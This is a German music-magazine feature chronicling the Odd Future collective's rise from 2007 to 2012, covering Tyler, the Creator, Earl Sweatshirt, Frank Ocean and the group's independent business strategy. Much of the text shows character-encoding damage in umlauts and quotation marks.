Odd Future: Rebellen ohne Grund // Titelstory

Odd-Future

FrA?hjahr 2010, im Fairfax-Bezirk von West Hollywood, Los Angeles. Wir kommen gerade aus der A�Known-GalleryA� und schauen nun bei A�The HundredsA� die neuen Shirts durch. Vor dem GeschA�ft lungern ein paar Locals herum. Mein ortskundiger Begleiter raunt mir zu, das seien die Jungs von Odd Future, einem lokalen Kollektiv aus Skatern und Musikern a�� die Coolen von der Schule quasi. PlA�tzlich wird in brA?llender LautstA�rke A�Hard In The PaintA� von Waka Flocka Flame durch den Store gepumpt. Die Kids, die gerade noch lethargisch auf den BA�nken vor dem Laden hockten und Joints rauchten, springen auf und beginnen lauthals den Text mitzurappen. Ein Pogokreis bildet sich vor dem GeschA�ft.Sportspark40

Ich konnte zu jenem Zeitpunkt nicht ahnen, was sich aus diesem chaotischen Haufen einmal entwickeln wA?rde. In der A�L.A. TimesA� wurden Odd Future kurze Zeit spA�ter in eine direkte Ahnenlinie mit der Zoo-York-Gang gestellt, die Larry Clark 1995 in seinem Kultfilm A�KidsA� portrA�tiert hatte. Heute ist Odd Future fA?r die weiAYen Vorstadtkids das, was in den Neunzigern der Wu-Tang Clan und die Beastie Boys waren: der rebellische Soundtrack ihrer PubertA�t. Ihre Konzerte sind kleine Messen, die Vergleiche reichen von den Sex Pistols bis Nirvana, der ausgewiesene Musikkenner ?uestlove zog A�Parallelen zu Bands wie Geto Boys und Bad Brains. Die prominente Liste der OFWGKTA-Fans reicht von Flying Lotus bis Pharrell Williams, von GZA bis Snoop Dogg. Alle lieben Odd Future.

Als JUICE-Redakteur Ndilyo NimindA� ungefA�hr ein halbes Jahr nach meinem Besuch in Los Angeles zum ersten Mal beruflich die FA?hler in Richtung des Kollektivs ausstreckte, bekam er nach ein paar Facebook-Chats die Handynummer von Tyler, The Creator und sprach ausgiebig mit dem damals 19-jA�hrigen AnfA?hrer der Gruppe. Der charismatische Tyler, geboren und aufgewachsen in Los Angeles, hat in zwA�lf Schuljahren ebenso viele Schulen von L.A. bis Sacramento besucht. 1991 wurde er als Sohn einer Sozialarbeiterin und eines nigerianischen Vaters geboren, zu dem er bis heute keinerlei Beziehung verspA?rt: A�My father didna��t give a fuck, so ita��s something I inherit/my mom is all I have, so ita��s never a�?Meet the parentsa��A�, rappt er in seinem Song A�BastardA�, wA�hrend es in A�YonkersA� heiAYt: A�I just want to know if my father would ever like me.A� Die fehlende Vaterfigur ist eines der zentralen Themen seiner Musik.

Musikalisch sozialisiert wurde Tyler von A�The Chronic 2001A� und dem ersten N.E.R.D.-Album A�In Search Of…A�. Er brachte sich schon mit 13 Jahren selbst das Klavierspielen bei, entwarf in der High School eine eigene Modelinie, besorgte sich eine geA�crackte Version der Musiksoftware A�ReasonA� und verA�ffentlichte ab 2007 hunderte Songs A?ber seinen Tumblr-Blog. Seine musikalischen Interessen sind vielfA�ltig: Wenn man sich etwa seinen A�Summer Camp MixA� anhA�rt, den Tyler im letzten Sommer in einem Anflug von Heimweh auf Europatour produzierte, dann stA�AYt man auf die offensichtlichen EinflA?sse (Neptunes, James Pants, Dipset), aber auch auf Neo-Soul von Jill Scott und Erykah Badu, auf Chillwave von Toro Y Moi, auf kontemporA�ren Indie-Rock von Grizzly Bear, auf klassisches Material von Stevie Wonder, 2Pac und The Gap Band. In Interviews nennt er immer wieder auch Bands wie Stereolab, Gorillaz und Radiohead als groAYe Inspiration. Das Multitalent rappt, produziert und dreht fast alle Videos des Kollektivs selbst a�� an einem College in West L.A. hatte er nach der High School ein Filmstudium begonnen, brach es jedoch im Sommer 2010 ab, um sich in Vollzeit um Odd Future kA?mmern zu kA�nnen.

Die frA?hen Jahre (2007-2009)

Doch zurA?ck zum Anfang, als Odd Future nicht mehr als ein unorganisierter Haufen junger Skateboarder, Rapper und Slacker war, der sich nachmittags im Skatepark von Hawthorne oder im Supreme-Laden auf der North Fairfax Avenue traf. Mit der A?brigen HipHop-Szene von L.A., den Gangsta-Rappern und Jerk-TA�nzern, wollten diese Kids nichts zu tun haben. A?ber Kontakte von der High School und A?ber MySpace hatte Tyler eine Gruppe von 40 bis 45 Gleichgesinnten um sich geschart, unter denen viele talentierte Musiker, Fotografen, Regisseure und Designer waren. Die Marke Odd Future hatte Tyler ursprA?nglich als Magazin und T-Shirt-Linie konzipiert, doch mit der Zeit morphte die Marke in eine Art KA?nstlerkollektiv. Dabei war Tyler extrem wA�hlerisch, wen er in seinen erlesenen Zirkel aufnahm. A�Er sagte eigentlich a�?neina�� zu jedemA�, erzA�hlte der Rapper Hodgy Beats aus Pasadena einmal stolz. A�Aber er sagte a�?yeaha�� zu mir.A� Heute ist Hodgy der selbsterklA�rte VizeprA�sident von Odd Future und so etwas wie der HipHop-Traditionalist der Gruppe.

Eines der ersten Mitglieder wurde der Produzent Left Brain, der die Crenshaw High School besuchte, mit Tyler die Vorliebe fA?r Rap und R&B teilte und mit Hodgy Beats das Duo MellowHype bildete. 2008 kamen Hodgy, Domo Genesis und Mike G dazu. Letzterer ist angeblich ein Cousin von G-Funk-Legende Warren G, ging zusammen mit Left Brain auf die Crenshaw High und nahm in seiner Freizeit Screwed-&-Chopped-Tapes auf. Dass er zu Odd Future gehA�rte, fand Mike erst heraus, als er zufA�llig ein GesprA�ch mithA�rte, in dem Hodgy Beats A?ber ihn als neues offizielles Mitglied sprach. Mike G berichtet, dass Odd Future im Untergrund von L.A. schon damals einen kleinen Hype hatten, nur aufgrund von Tylers Blog und des ersten A�Odd Future A�TapesA�, das dort umsonst feilgeboten wurde. Zudem hatte Tyler in dieser Zeit unter dem Namen Ace Creator zwei Internet-Alben und eine EP aufgenommen, im September 2008 wurde er von Hypetrak zu einem A�artist that deserves to be heard on a larger scaleA� erklA�rt. Tyler reagierte darauf mit einem halbironischen Twitter-A�Kommentar: A�Oh shit, I made it!A�

Als Zentrale der Gruppe fungierte ab 2008 ein idyllisches spanisches GA�stehaus aus den Zwanzigern im Bezirk Washington-Crenshaw, sA?dlich angrenzend an Hollywood und westlich an Leimert Park. Dort lebten zu diesem Zeitpunkt Sydney Bennett a�� auch bekannt als DJ Syd Tha Kyd a�� und ihr Bruder Travis, genannt Taco. Syd ging auf die Hamilton High Music Academy in Culver City und vermietete ihr kleines Heimstudio an Schulkameraden und Freunde. Das GA�stehaus stand voller Trommeln und Gitarren, an der Wand hing ein John-Coltrane-Poster. Es war ein einziges Chaos aus BA?chern, CDs und DVDs. Eines schA�nen Tages stand ein Haufen Skater-Kids vor ihrer HaustA?r. Syd war gerade auf ihrem Weg zu A�In-N-Out-BurgerA� und sagte ihnen, sie kA�nnten spA�ter ins Studio, wenn sie warten wA?rden. Als Syd zurA?ckkam, standen Tyler und seine Freunde immer noch da. Es wurde eine lange Nacht.

Im Laufe des Jahres 2009 fand die Odd Future Wolf Gang ihre aktuelle Inkarnation: Tyler, The Creator, Earl Sweatshirt, Hodgy Beats, Left Brain, Domo Genesis, Mike G, Frank Ocean, Syd Tha Kyd, Taco Bennett und Jasper Dolphin. Keiner von ihnen war zu diesem Zeitpunkt A?ber 21 Jahre alt. Dazu gesellten sich noch Matt Martians und Hal Williams aus Atlanta, die unter den Pseudonymen A�The Jet Age Of TomorrowA� und A�The Super 3A� absurden Space-Funk produzierten. Syd Tha Kyd fungierte als Live-DJ und Studio-Engineer der Gruppe. Taco und Jasper waren keine Rapper oder Musiker und leisteten auch sonst keinen kreativen Input zur Crew a�� ihre Nutzlosigkeit ist mittlerweile zu einer Art Running Gag in der Gruppe geworden. Im Jahr 2009 erschienen A?ber den Odd-Future-Tumblr-Blog zwei Mixtapes von Mike G und Hodgy Beats. Sie schickten ihre Musik an einige der grA�AYeren HipHop-Blogs, bekamen jedoch wenig Gegenliebe zurA?ck: Ihr Sound war ganz offensichtlich zu seltsam, zu sehr left-field und passte nicht in die gA�ngigen Blogger-Kategorien fA?r A�modernen Westcoast-Rap.

A�BastardA�, A�EARLA� und der Aufstieg (2010)

Am 25. Dezember 2009 verA�ffentlichte der inzwischen 18-jA�hrige Tyler, The Creator sein DebA?talbum A�BastardA� A?ber den Odd-Future-Tumblr zum Free-Download. Das Intro begann mit einem Diss an die grA�AYten Blogs 2dopeboyz und Nahright, die sich zuvor geweigert hatten, Tylers Musik A?ber ihre KanA�le zu verbreiten. In den anschlieAYenden 55 Minuten therapierte sich Tyler mit einem fiktiven Psychiater namens Dr. TC selbst, berichtete auf selbstproduzierten LoFi-Beats, die ihre A�sthetik zu gleichen Teilen Madlib und den Neptunes schuldeten, mit asthmageplagter Stimme von seinem abwesenden Vater, fantasierte A?ber Mord und Vergewaltigung und riss jede Menge homophobe Witze. Auch wenn das beeindruckende Album nicht sofort die grA�AYten Wellen schlug, entwickelte es sich A?ber die nA�chsten Monate zu einem Kritikerliebling, der es in viele Jahresendlisten schaffte.

Anfang 2010 starteten Odd Future eine weitere Offensive: MellowHype brachten ihr erstes gemeinsames Tape A�YelloWhiteA� an den Start, Earl Sweatshirt sein Soloalbum A�EARLA�, Mike G kam mit einem neuen Mixtape, The Jet Age Of Tomorrow mit dem Instrumentalwerk A�VoyagerA� und schlieAYlich erschien auch das zweite Crew-Mixtape nach dem A�Odd Future TapeA� von 2008: A�Odd Future presents RadicalA� versammelte die komplette Gang auf ihren Lieblingsbeats der letzten Dekade von u.a. James Pants, The Neptunes, Minnesota, Chuck Inglish, DJ Khaled, Hi-Tek und 9th Wonder. Das Tape enthielt Underground-Hits wie A�Swag Me OutA� oder A�Double CheeseburgerA� und bereitete die Welt angemessen auf den Wahnsinn vor, der da kommen sollte. Wir hatten ja alle noch keine Ahnung.

Am 26. Mai 2010 wurde das Video zum Titeltrack von Earl Sweatshirts Soloalbum A�EARLA� auf die Plattform Vimeo hochgeladen. Den Clip hatte ein aufstrebender Filmemacher aus der kalifornischen Skater-Szene namens A.G. Rojas gedreht. Das Treatment lautete nach eigener Aussage: A�Kids mischen alle mA�glichen Drogen und veranstalten Chaos und Verwirrung in der Stadt.A� Faktisch sah das so aus, dass Earl und seine Freunde einen wilden Cocktail aus Bier, Schnaps, Promethazin, Weed und Ecstasy herstellten, diesen aus roten Plastikbechern tranken, anschlieAYend skaten gingen und aus sA�mtlichen KA�rperA�ffnungen auf den Asphalt bluteten, bevor sie sich selbst die DaumennA�gel rausrissen und ihre ZA�hne verloren. Am Ende wurde einer von ihnen im Pool versenkt. Und wir saAYen mit offenen MA?ndern vor unseren HD-Flachbildschirmen a�� so etwas A�RevolutionA�res hatten wir seit den ersten Eminem-Videos tatsA�chlich nicht mehr gesehen.

Regisseur A.G. Rojas erklA�rte im JUICE-Interview: A�Die Jungs haben einen sehr eigenen Humor. (…) Odd Future ist eine Gegenbewegung zu all dem weichgespA?lten, glatten Zeug aus dem Fernsehen. Sie wissen, dass sie eigentlich viele MA�glichkeiten haben, gleichzeitig sind sie sich aber auch dessen bewusst, dass ihnen eine heile Welt vorgegaukelt wird, die fA?r viele nicht zugA�nglich ist. AuAYerdem hat die Wolf Gang einen sehr eigenen Background. Kid Cudi und Lupe Fiasco flirten ja auch regelmA�AYig mit der Skate-Kultur, obwohl sie eigentlich nichts damit zu tun haben. Tyler und seine Gang sind aus South L.A., haben die schlimmsten Verbrechen mitbekommen und sind gleichzeitig tief in der Skate-Szene verwurzelt, einige von ihnen haben sogar das Zeug, richtige Pros zu werden. Das ist eine sehr interessante Mischung. Die Jungs sind eigentlich extrem politisch, auch wenn sie das nie zugeben wA?rden. Aber mir gefA�llt das sehr, A�deswegen wollte ich auch unbedingt das a�?EARLa��-Video drehen.A�

Was uns an A�EARLA� jedoch mindestens so faszinierte wie das Video, war das aufblitzende Ausnahmetalent des MCs Earl Sweatshirt, eines damals 15-jA�hrigen autistischen Skaters, der sich, bevor er 2009 zu Odd Future stieAY, noch Sly Tendencies nannte, auf eine Privatschule in Santa Monica ging und sich in koreanischer Kampfkunst A?bte. Doch Tyler hatte seine FA�higkeiten erkannt und produzierte ihm fast das komplette DebA?talbum, das fA?r Tyler heute einen A�hnlichen Stellenwert wie A�IllmaticA� hat, wie er einmal auf Twitter erklA�rte. A�Tyler wusste, das Earl rappen konnteA�, erzA�hlte Syd der A�L.A. TimesA�. A�Aber er war zu aufgeregt, um es uns zu zeigen. Als Earl seine ersten Songs aufnahm, schloss Tyler die StudiotA?r und lieAY uns drauAYen warten.A�

Das A�EARLA�-Video rief die Blogger und Tastemaker auf den Plan. In der September-Ausgabe des Intellektuellen-Musikmagazins A�The WireA� erschien ein begeisterter Artikel, im August bloggte A�The FaderA� A?ber das Kollektiv, auch A�PitchforkA� oder A�Dazed & ConfusedA� berichteten A?ber die durchgeknallten Jugendlichen von der WestkA?ste. Hinzu kam immer mehr A�ffentliches Lob von Flying Lotus, Mos Def oder Kanye West. Odd Future galt langsam aber sicher als das nA�chste groAYe Ding, zumindest in den A?blichen Eingeweihtenkreisen. Zu dieser Zeit A?bernahmen Christian Clancy und David Airaudi, zwei ehemalige Interscope-Produktmanager, das Management der Gruppe. Sie verfolgten eine neue Philosophie, anstatt die A?berholten Regeln der alten Industrie anzuwenden a�� eine Vorgehensweise, die sich als goldrichtig herausstellen sollte.

In einem seiner raren Interviews lieAY Clancy eine Brandrede gegen die Plattenindustrie ab, die in seinen Augen aus verschiedenen GrA?nden dem Untergang geweiht sei: Weil dort seit Jahren die immer gleichen 30 Top-Manager im Kreis befA�rdert werden, die uns A?berhaupt erst in die aktuelle Misere gebracht hA�tten. Weil die A&R-Manager sich selbst fA?r KA?nstler halten. Weil nicht die AuthentizitA�t der Marke des KA?nstlers, sondern Labelpolitik die Basis vieler Entscheidungen ist. Weil Hypes kA?nstlich aufgebauscht und dann schnell gemolken werden sollen. All das hat Clancy gelernt in seinen Jahren als Mitarbeiter eines Major-Labels a�� er war Produktmanager von A�The Marshall Mathers LPA� und weiteren Interscope-Releases a�� und genau diese Fehler wollte er nicht mehr mittragen. FA?r Odd Future entwickelte er stattdessen eine umfassende Indie-Strategie, die auf viralem Marketing und individuellen Partnerschaften auf AugenhA�he basiert.

David Airaudi erklA�rte ihr Business-A�VerstA�ndnis einmal so: A�Ob XL, Interscope oder Supreme, oder sogar Apple, Sony oder Google, wir suchen jeweils nach dem besten Partner fA?r unseren Content und unsere Kreationen.A� TatsA�chlich suchten Clancy und Airaudi immer nur kurzfristige Deals: ein Tyler-Album bei der britischen Indie-Institution XL Recordings, eine A�MellowHype-Reissue bei Fat Possum, eine Lizenz fA?r eine TV-Show im Cartoon-Network Adult Swim. FA?r Odd Future Records, ihr eigenes Indie-Imprint, schlossen sie einen Vertriebsvertrag mit Sony RED Distribution bei hundert Prozent kreativer Kontrolle. Clancy und Airaudi haben verstanden, dass die Urheber- und Verlagsrechte das grA�AYte wirtschaftliche Kapital der Marke Odd Future sind. Sie sind nicht bereit, sich fA?r lange Zeit an ein Riesenunternehmen zu binden, das ihnen im Gegenzug das immer gleiche Inventar an althergebrachten MaAYnahmen zur VerfA?gung stellt. So ist Clancy erklA�rter Gegner der mittlerweile A?blichen 360A�-Deals: A�Warum soll ich der Plattenfirma 20 Prozent an einem GeschA�ftsfeld A?berlassen, fA?r das sie nichts tun und in dem sie nicht fA?r mindestens 40 Prozent der Einnahmen sorgen? Ich verstehe das nicht.A�

Im Juli 2010 spielten Odd Future ihr erstes groAYes Konzert im A�Key ClubA� in West A�Hollywood. FA?r den Herbst waren die nA�chsten Releases vorgesehen: ein Weed-Rap-Mixtape namens A�Rolling PapersA� von Domo Genesis, die Single A�SandwitchesA� von Tyler und Hodgy Beats, plus das zweite MellowHype-Mixtape A�BlackenedWhiteA�. Christian Clancy werkelte im Hintergrund derweil an der geschA�ftlichen Seite der WeltA?bernahme. Im Oktober wurden Odd Future von Richard Russell, der OberspA?rnase der britischen Indie-GeschmacksA�instanz XL Recordings, nach London eingeladen, um eine Show im Club A�The DropA� zu spielen a�� die Tickets waren innerhalb von 48 Stunden nach AnkA?ndigung ausverkauft. Drei Tage spA�ter spielte die Band ihren ersten Gig in New York, im historischen Nachtclub A�Webster HallA�, der mit 300 Besuchern ebenfalls bis zum Bersten gefA?llt war. Die energiegeladenen Shows wurden von den Besuchern mit frA?hen Punk- und Indierock-Konzerten verglichen. Der Hype um den durchgeknallten Skaterhaufen war auf einem frA?hen, vorlA�ufigen HA�hepunkt angelangt.

NatA?rlich klopfte die alte Industrie trotz Clancys und Airaudis Strategie an die TA?r der jungen Wilden. Jay-Z signalisierte Interesse, Odd Future bei Roc Nation zu signen. Steve Rifkind, der A&R-Veteran, der 1993 den Wu-Tang Clan bei Loud Records unter Vertrag genommen hatte, schrieb eine flammende Twitter-Nachricht an Tyler. Doch der lieAY den Industriemagnaten gehA�ssig abblitzen: A�Du klingst wie der eine Typ, der an die Schule geht und den kleinen Jungs erzA�hlt, dass du Hundebabys zu Hause hast und so eine ScheiAYe. No offense.A� SpA�ter trafen Tyler und Rifkind sich trotzdem noch, aber ein Deal wurde daraus nicht mehr. Stattdessen unterschrieb Tyler einen Vertrag A?ber ein einziges Album bei den Briten von XL Recordings, die in den letzten 15 Jahren ein auAYerordentlich starkes GespA?r fA?r neue Indie-Acts bewiesen haben.

A�YonkersA� & A�Nostalgia, ULTRA.A� (Februar 2011)

Das Jahr 2011 begann mit einem lauten Knall. Am 11. Februar ging das selbstgedrehte Video zu Tylers erster Album-Single A�YonkersA� online und generierte in kA?rzester Zeit fA?nf Millionen Views (Stand heute: 42 Millionen). Der Plot des SchwarzweiAY-Clips: Tyler rappt, bewegt sich psychopathisch, lA�sst eine riesige Kakerlake A?ber seine HA�nde laufen, verschluckt diese, A?bergibt sich, rappt weiter, zieht sein Hemd aus, steigt auf einen Stuhl und hA�ngt sich auf. Im Hintergrund donnerte der hA�rteste Clipse-Banger, den die Neptunes nie produziert hatten, und Tyler disste seine weichgespA?lten Feindbilder von B.o.B bis Bruno Mars. In seiner Uniform aus Vans, Tube Socks, Hoodie und Supreme-Kappe bot Tyler eine enorme IdentifikationsflA�che fA?r unverstandene, rebellische und A?berdurchschnittlich intelligente Jugendliche an den amerikanischen High Schools, aber auch im Rest der Welt.

FA?nf Tage nach der Premiere des Videos erschien A�nostalgia, ULTRA.A� und lA�utete ein neues Kaptiel der Historie der Crew ein. Denn Frank Ocean ist eine Anomalie im OFWGKTA-Kosmos: Nicht nur, dass der 1987 geborene SA�nger das A�lteste Mitglied im Kollektiv ist, auch stammt er nicht aus L.A., sondern ist ein Zugezogener aus New Orleans, der seine Heimatstadt nach Katrina verlieAY, weil er dort keine Perspektive mehr fA?r seine Karriere sah. Ende 2009 stieAY er A?ber gemeinsame Freunde zu Odd Future, zu diesem Zeitpunkt war er der Einzige in der Gang, der bereits einen Major-Deal hatte und Songs fA?r KA?nstler wie Justin Bieber, John Legend oder Brandy schrieb. Der talentierte R&B-SA�nger und Songwriter war bei seinem Label Def Jam nach einem A&R-Wechsel unverschuldet aufs Abstellgleis geraten. Sein Demo-Album A�nostalgia, ULTRA.A� stellte er frustriert auf die eigene Tumblr-Website, nachdem die Plattenfirma keinerlei Interesse daran gezeigt hatte, es regulA�r zu verA�ffentlichen.

In dem durch die A�EARLA�- und A�YonkersA�-Videos aufgeheizten Klima sorgte A�nostalgia, ULTRA.A� fA?r mittlere BegeisterungsstA?rme. Zeitgleich mit The Weeknd, deren DebA?t-Mixtape A�House Of BalloonsA� ebenfalls im Februar 2011 erschien, bot Frank Ocean ein Versprechen, dass R&B auch fA?r Indie-Snobs wieder cool werden kA�nnte. Er nutzte zwar die Harmonien und Strukturen des Genres, war jedoch kein eingeA�lter SchA�nling mit akkurater Bartrasur und Personal-Trainer-Figur, sondern einfach eine coole Sau mit starken Texten und den eingA�ngigsten Melodien des Planeten. A�Drake und Lupe Fiasco outeten sich als Fans, binnen kA?rzester Zeit saAY Ocean im Studio mit BeyoncA�. Genau wie die Studiofotos von Tyler mit seinen Helden Pharrell Williams und Chad Hugo, die einige Wochen zuvor aufgetaucht waren, sorgten die Twitpics mit BeyoncA� fA?r weitere Superlative in der Berichterstattung. Frank Ocean nahm gleich zwei Features fA?r A�Watch The ThroneA� auf, dieses Jahr soll er mit Coldplay auf Tour gehen. Im aktuellen A�OldieA�-Video wirkt es zwar schon so, als wA?rde Frank langsam aber sicher aus der herumalbernden JungsA�clique herauswachsen, gleichzeitig erfA?llt auch er eine bestimmte Rolle innerhalb des GruppengefA?ges, nA�mlich die des erwachsenen, aber mysteriA�s-distanzierten zweiten AnfA?hrers.

Im Februar und MA�rz folgten zwei denkwA?rdige TV-Live-Auftritte, einer davon in der A�Late Night ShowA� von Jimmy Fallon, bei dem The Roots als Backing-Band agierten. Die absurd orchestrierte BA?hnenshow aus weiblichen BA?hnenzombies, Gartenzwergen, Beanie-Maskerade, KleinwA?chsigen, unvorhersehbaren Stunts und umgedrehten Kreuzen zeigte Wirkung. Tyler sprang Jimmy Fallon bei der Abmoderation auf den RA?cken. Mos Def brA?llte A�SwagA� in die Kamera. Dank A�YonkersA� und A�SandwitchesA�, dank Frank Ocean und Jimmy Fallon waren Odd Future jetzt offiziell der heiAYeste ScheiAY auf dem Planeten.

We found Earl Sweatshirt! (April/Mai 2011)

Mitten im Hype um Odd Future verA�ffentA�lichte das A�ComplexA�-Magazin eine irritierende Geschichte. Seit Beginn der medialen Berichterstattung um das PhA�nomen war Earl Sweatshirt abwesend gewesen, er stand nicht fA?r Interviews zur VerfA?gung, A?berhaupt gab es keinerlei KontaktmA�glichkeit. Beim ersten Konzert in L.A. war er auch nicht dabei, sein Name war vom Flyer gestrichen worden, darunter stand: A�Will not be there, due to mom.A� Wenn man Tyler oder seine Freunde nach ihm fragte, bekam man entweder ein hA�hnisches Lachen oder eine absurde Geschichte serviert. Dann rappten Hodgy Beats und Domo Genesis in einem Freestyle auf einem alten RZA-Beat: A�Ask Syd where we at/Shea��ll tell you where we going/to free Earl from the fucking Samoans.A� Spekulationen A?ber Earls unfreiwilligen Aufenthalt in einem Bootcamp oder einem auslA�ndischen Internat machten ohnehin schon die Runde.

A�ComplexA� behauptete: A�We found Earl Sweatshirt!A� und verA�ffentlichte ein Klassenfoto von der A�Coral Reef AcademyA� in Samoa, einer Bildungsanstalt, die auf ihrer Website mit dem Slogan wirbt: A�For parents who want more than the typical therapeutic experience.A� Ein ehemaliger Klassenkamerad berichtete auf Twitter davon, dass Earls Mutter ihn nach Samoa geschickt habe, weil sie nicht einverstanden mit seiner Musik, seiner Einstellung ihr gegenA?ber und seinem allgemeinen Lebenswandel gewesen sei. Der groAYkotzige Tyler zeigte sich plA�tzlich extrem dA?nnhA�utig, wenn die Sprache auf Earl kam. Einmal soll er beim Abendessen mit Christian Clancy gesessen und sich an die schA�nen gemeinsamen Zeiten erinnert haben, bis er sich plA�tzlich selbst in einem melancholischen Moment erwischte und ihn abrupt beendete: A�Die ScheiAYe nervt. Ich mag nicht mehr darA?ber reden.A� Wenige Minuten nach VerA�ffentlichung der A�ComplexA�-Geschichte lieAY Tyler einen Twitter-Rant ab, nannte die Autoren A�verfickte PA�dophileA� und bezeichnete die Informationen in der Story als falsch.

Wenige Wochen spA�ter nahmen Earl und seine Eltern im Magazin A�New YorkerA� zu den Vermutungen Stellung. Im Zuge dessen wurde offengelegt, dass Earl, bA?rgerlich Thebe, der Sohn von Keorapetse A�William Kgositsile ist, einem sA?dafrikanischen Dichter, dessen Arbeiten u.a. die Last Poets inspirierten, ihre ersten Proto-Rap-Songs zu schreiben. Kgositsile lebte nach Earls Geburt zur HA�lfte in Johannesburg und zur HA�lfte bei Earls Mutter in Los Angeles, einer politischen Aktivistin und Erzieherin. Die Ehe zerbrach um die Jahrtausendwende, Earls Vater zog zurA?ck nach SA?dafrika. Die Musik seines Sohnes habe er noch nicht gehA�rt, berichtete er im A�New YorkerA�: A�Wenn er denkt, dass er etwas mit mir teilen muss, dann wird er es tun. Bis dahin werde ich mich ihm nicht aufdrA�ngen, nur weil die ganze Welt von ihm spricht.A�

Der intellektuelle, akademische familiA�re Hintergrund tat sein A?briges zur A�Mythenbildung um den wahrscheinlich stA�rksten MC von Odd Future. Earl selbst jedoch sah die ganze A�Free EarlA�-Kampagne, die im Internet inzwischen ihre Kreise gezogen hatte, mit ambivalenten GefA?hlen: Einerseits freute er sich A?ber die Aufmerksamkeit, andererseits bemA?hte er sich klarzustellen, dass er nicht gegen seinen Willen in Samoa festgehalten werde. Die Wut der Fans, die sich nun gegen Earls Mutter richtete, war ihm unverstA�ndlich. Entgeistert rief er sie zur RA�son: A�Das Einzige, was ich jetzt brauche, ist Freiraum. Ich muss viel Arbeit erledigen und brauche auf keinen Fall den zusA�tzlichen Stress, dass ich mich um die kA�rperliche Gesundheit meiner Familie sorgen muss. Das bedeutet: Kein a�?Free Earla�� mehr. Wenn du dir ernsthaft Gedanken A?ber mich machst, dann schA�tze ich diese Geste, aber weil du jetzt die echten Fakten direkt von der Quelle kennst, brauchst du dir keine Sorgen mehr zu machen.A� Bis heute ist nicht ganz klar, warum genau Earls Mutter ihn nach Samoa geschickt hatte. Nach seiner RA?ckkehr im FrA?hjahr sagte er in einem Interview mit Hot-97-Moderator Peter Rosenberg, dass er jedenfalls nicht wegen seiner Musik nach Samoa musste, sondern A�because I was fucking up… like outside of musicA�.
A�GoblinA� (10. Mai 2011)

Nach all den aufregenden Wochen, in denen die Singles A�YonkersA� und A�A�SandwitchesA� sowie die revolutionA�ren TV-Auftritte der Wolf Gang verdaut werden mussten, erschien im Mai endlich Tylers zweites Album A�GoblinA� bei XL Recordings. Bis dahin hatten Odd Future alle ihre TontrA�ger umsonst angeboten, nun gab es ein erstes kA�uflich zu erwerbendes Produkt. Der Erfolg war trotz der medialen DauerprA�senz A?berraschend: Das Album, wohlgemerkt bei einem britischen Indie verA�ffentlicht, ging in der ersten Woche mit 45.000 verkauften Einheiten auf Platz 5 in die Billboard-Charts. Am Ende des Jahres hatte es A?ber 100.000 Einheiten verkauft. Sensationelle Zahlen fA?r den geschA�ftlichen Rahmen, in dem sich Tyler und seine Berater hier bewegten a�� ohne eine einzige kommerziell vermarktbare Radio-Single, ohne ausufernde Marketing-Budgets und ohne eingekaufte Starpower von oben.

Im Sommer 2011 ging Odd Future auf Reisen. EuropA�ische Festivals wurden auseinandergenommen, fremde LA�nder und deren Sitten erkundet und verachtet. Tyler und seine Jungs gaben sich redlich MA?he, sich in A?bersee imagetrA�chtig daneben zu benehmen, Journalisten zu beleidigen und generell die bA�sen Buben zu mimen. Die Reporter von A�SpiegelA�, A�arteA� und A�Rolling StoneA� fragte Tyler bei der Pressekonferenz in Berlin etwa, ob sie auf SchwA�nze stehen wA?rden. GegenA?ber unserem Reporter A�jammerte er herum, dass sein Mobiltelefon in Europa nicht funktioniere, es hier keine vernA?nftigen Bacon-Cheeseburger gebe und man im Hotel das amerikanische Cartoon Network nicht empfange. Das ganz normale Heimweh eines gerade eben VolljA�hrigen, der zum ersten Mal seinen Heimatkontinent verlassen hat.

Zeitgleich landeten Tyler und Odd Future auf jedem denkbaren Magazin-Cover von A�BillboardA� bis A�NMEA�. Die Journalisten versuchten, dem als nahezu uninterviewbar geltenden PhA�nomen Tyler auf ihre Weise habhaft zu werden: FA?r die A�XXLA� interviewte Tyler seinen groAYen Helden Nas, fA?r das A�InterviewA�-Magazin wurde Tyler von seinem groAYen Helden Waka Flocka Flame befragt. Der Herbst wurde von weiteren medialen MaAYnahmen dominiert: Das grandiose Video zu A�SheA� mit Frank Ocean erschien, MellowHype brachten A�BlackenedWhiteA� als Re-Release bei Fat Possum heraus, Domo Genesis verA�ffentlichte ein zweites Weed-Rap-Mixtape namens A�Under The InfluenceA�. Von September bis November tourte die Golf Wang durch die USA und Kanada, im Oktober verA�ffentlichte sie die Kauf-Compilation A�12 Odd Future SongsA� A?ber ihr eigenes Odd-Future-Label, die aus Katalogmaterial der Jahre 2008-2011 bestand, das zu einem frA?heren Zeitpunkt bereits zum Free-Download angeboten worden war. Die Strategie ging auf.

The Internet (Januar 2012)

Mitten im aufregenden Toursommer 2011 grA?ndeten Syd Tha Kyd und Matt Martian von The Jet Age Of Tomorrow die ungooglebare Formation The Internet. Sie machen sphA�rischen Electro-Soul mit HipHop-AttitA?de, mit EinflA?ssen von Erykah Badu A?ber Beach House bis Santigold. Ihr DebA?talbum A�Purple Naked LadiesA� erschien nun im Januar als erstes offizielles KA?nstleralbum auf Odd Future Records. Im Video zur dritten Single A�CocaineA� geht Syd offen mit ihrer HomosexualitA�t um, reiAYt ein MA�dchen auf dem Rummelplatz auf und knutscht mir der Liebsten in der A�ffentlichkeit herum. Gleichzeitig sprach sie in einer Cover-Story mit A�L.A. WeeklyA� A?ber die angebliche Scheinehe von Alicia Keys und Swizz Beatz sowie darA?ber, dass auch Missy Elliott und Queen Latifah ihre lesbischen Neigungen niemals offen ausgelebt hA�tten. In einer als homophob und intolerant verschrienen Subkultur ist Syd Tha Kyd tatsA�chlich so etwas wie eine Vorreiterin wider Willen a�� sie gehA�rt zu einer Jungsclique, deren Lieblingsschimpfwort A�FaggotA� ist, im Intro des A�Odd Future Tape Vol. 2A� stellt L-Boy sie folgendermaAYen vor: A�Syd gay ass, putting her clit on other bitchesa�� nipples and whatnot.A� Wenn HomosexualitA�t jetzt also A�swagA� ist, um die gA�ngige OF-Terminologie zu bemA?hen, dann ist das ein wichtiger Schritt zu deren Akzeptanz und EmanziA�pation in der HipHop-Szene.

